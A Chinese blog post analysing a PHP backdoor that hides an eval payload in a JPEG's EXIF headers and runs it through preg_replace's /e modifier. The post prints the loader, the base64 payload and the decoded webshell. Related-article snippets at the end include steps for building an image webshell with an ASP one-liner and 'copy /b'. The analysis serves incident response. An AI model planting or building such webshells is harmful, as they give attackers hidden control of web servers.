PHP图片木马讲解

这是一个非常有趣的后门,它并没有依靠正常模式去隐藏起内容(比如 base64/gzip 编码),但是它却把自己的数据隐藏在JPEG图片的EXIF头部中了。它也使用exif_read_data和preg_replace两个PHP函数来读取EXIF头部和执行。

细节

这个后门可分为两部分。第一部分是 exif_read_data 函数读取图片头部,preg_replace 函数来执行内容。下面是我们在被攻破网站上发现的代码:

$exif = exif_read_data(‘/homepages/clientsitepath/images/stories/food/bun.jpg‘);
preg_replace($exif[‘Make‘],$exif[‘Model‘],‘‘);

这两个函数本身是无害滴。exif_read_data 函数常用来读取图片,preg_replace 函数是替代字符内容。不过,preg_replace 函数函数有个隐藏并微妙的选项,如果你传入 “/e”,它会执行 eval() 中的内容,就不是去查询/替代了。

所以我们在查看bun.jpg文件时,发现后门的第二部分:

ÿØÿà^@^PJFIF^@^A^B^@^@d^@d^@^@ÿá^@¡Exif^@^@II*^@^H^@^@^@^B^@^O^A^B^@^F^@^@^@&^@^@^@^P^A^B^@m^@^@^@,^@^@^@^@^@^@^@/.*/e^@ eval ( base64_decode("aWYgKGl zc2V0KCRfUE9TVFsie noxIl0pKSB7ZXZhbChzd
HJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30=‘));
@ÿì^@^QDucky^@^A^@^D^@^@^@<^@^@ÿî^@^NAdobe^

这个文件用以常见的头部开始,但是在 ”make” 头部中混入了奇怪的关键字 ”/.*/e” 。有了这个执行修饰符, preg_replace 会执行 eval() 中传入的任意内容。

事情变得开始有趣了……

如果咱们继续来看看 EXIF 数据,我们能发现, “eval ( base64_decode”隐藏在 ”Model“ 头部。把这些放在一起看,咱们就知道怎么回事了。攻击者是从 EXIF 中读取 Make 和 Model 头部信息,然后传入到 preg_replace 函数。只要我们修改 $exif[‘Make‘] 和 $exif[‘Model‘] ,就得到了最终的后门。

preg_replace ("/.*/e", ,"@ eval ( base64_decode("aWYgKGl ...");

解码后我们可以看到是执行 $_POST["zz1"] 提供的内容。完整解码后的后面在这里。

if (isset( $_POST["zz1"])) { eval (stripslashes( $_POST["zz1"]..

另外一个有意思的是,虽然 bun.jpg 和其他图片文件被修改了,但然后能加载并正常工作。实际上,在这些被攻破的站点,攻击者修改了站点上一个合法并之前就存在的图片。这是一种奇特的隐藏恶意软件的方法。

附:

Call to undefined function exif_read_data()

读取图片Exif信息的程序就报出了:Call to undefined function exif_read_data()

找到解决方案:

extension=php_exif.dll 将其加载顺序 改为在

extension=php_mbstring.dll 之后....

时间: 2024-10-02 06:05:35

PHP图片木马讲解的相关文章

一句话图片木马的制作与使用方法

之前也写了个一句话木马的使用方法在回帖中有人提出问题如何在图片中插入一句话木马于是为了方便各位在此开一帖一句话图片木马的使用方法 第一种方法:利用copy命令详细操作为1.随便找一张图片 名字改成1.jpg(名字改为1.jpg只是为了方便记忆和输入 文件的后缀随意 只要是图片的格式就可以了)2.<%eval request("keio")%>           存为1.asp(就是一句话木马)3.copy 1.jpg /b + 1.asp /a 2.jpg      存为

图片木马制作

主要亮点:图片木马(可以正常打开显示的木马) 先看代码:仅需几步:图片和一句话木马合并,制作可以正常显示的图片木马.1.找一张图片,名字改成1.jpg2.<%eval request(“a”)%>存为1.asp(就是一句话木马)3.copy 1.jpg /b + 1.asp /a asp.jpg 存为1.bat文件 注:以上三个文件放在同一目录里面 复制当前目录下的1.jpg图片和当前目录下的1.asp文件并以ASCII代码的方式合并为 asp.jpg图片,运行1.bat,就会出现一个图片as

tesseract-ocr识别中文扫描图片实例讲解

当我浏览http://code.google.com/p/tesseract-ocr并下载了几个文件下来之后顿时感到一头雾水,不知该如何下手.网上看到有人在linux操作系统下的实现, 如: 利用开源程序(ImageMagick+tesseract-ocr)实现图像验证码识别 但却很少看到在windows下的相关文章介绍. 接下来我将一步步讲述如何采用tesseract-ocr识别含有中文的图片. 1.下载tesseract-ocr(注意3.0版本之后才支持中文的识别) tesseract-oc

Android安卓开发中图片缩放讲解

安卓开发中应用到图片的处理时候,我们通常会怎么缩放操作呢,来看下面的两种做法: 方法1:按固定比例进行缩放 在开发一些软件,如新闻客户端,很多时候要显示图片的缩略图,由于手机屏幕限制,一般情况下,我们取图片的缩略图,取缩略图的方法我们可以使用 BitmapFactory的decodeFile方法,然后通过传递进去 BitmapFactory.Option类型的参数进行取缩略图,在Option中,属性值inSampleSize表示缩略图大小为原始图片大小的几 分之一,即如果这个值为2,则取出的缩略

前端开发学java之图片化讲解

java.io.serialization  : key words:  marker interface.

制作图片木马

提示:请使用windows的画图自己画一张图片,另存为jpg 操作截图: Copy test.jpg/b+test.php/a 1.jpg           原文地址:https://www.cnblogs.com/thespace/p/12348769.html

Thinkphp图片水印和文字水印

1.Thinkphp图像处理 在TP框架中,我们经常用到图片上传,我最近写了很多关于图片上传的文章,thinkphp图片上传+validate表单验证+图片木马检测+缩略图生成等文章,今天写一下关于图片上传成功后给图片加水印文字或者加图片水印, 1.1图片处理类和库 首先,在Thinkphp\Think\Image类中有图像处理功能,支持Gd库和Imagick库,包括对GIf图像处理的支持. 1.2实例化类库 $image = new \Think\Image(); 实例化image后,默认使用

thinkphp 检测上传的图片中是否含有木马脚本

最近网上查了很多关于php 检测图片木马的文章  基本上都是千篇一律 在这里我从这些文章总结了一个靠谱的方法 一.首先从制作原理来分析这种木马程序.这种木马程序是十六进制编码写的,所以我们可以通过检测十六进制代码来检测木马脚本 1.首先上传图片文件,我们要自己定义一个上传文件的方法,然后方法中调用thinkphp中框架写好的Upload类,但是框架中的类没有检测木马图片的功能,所以我们可以自己写一个upload类 <?php /** +------------------------------

Atitit。木马病毒原理机密与概论以及防御

1. 定时截屏木马1 1.1. QQ聊天与微信聊天木马1 2. 文档木马1 3. 病毒木马的触发方式2 4. 远程木马2 5. 漏洞木马2 6. 病毒木马的隐藏机制2 7. 自我复制技术3 8. 木马病毒的免杀3 9. 其他木马病毒3 9.1. Gui接口的调用3 9.2. 注册表编程 4 9.3. 服务相关的编程 4 9.4. 进程与线程 4 9.5. 操作窗口4 9.6. 病毒的感染技术4 9.7. 恶意程序的自启动技术4 10. 木马的加壳4 10.1. 扫描器 嗅探器.4 1. 定时截屏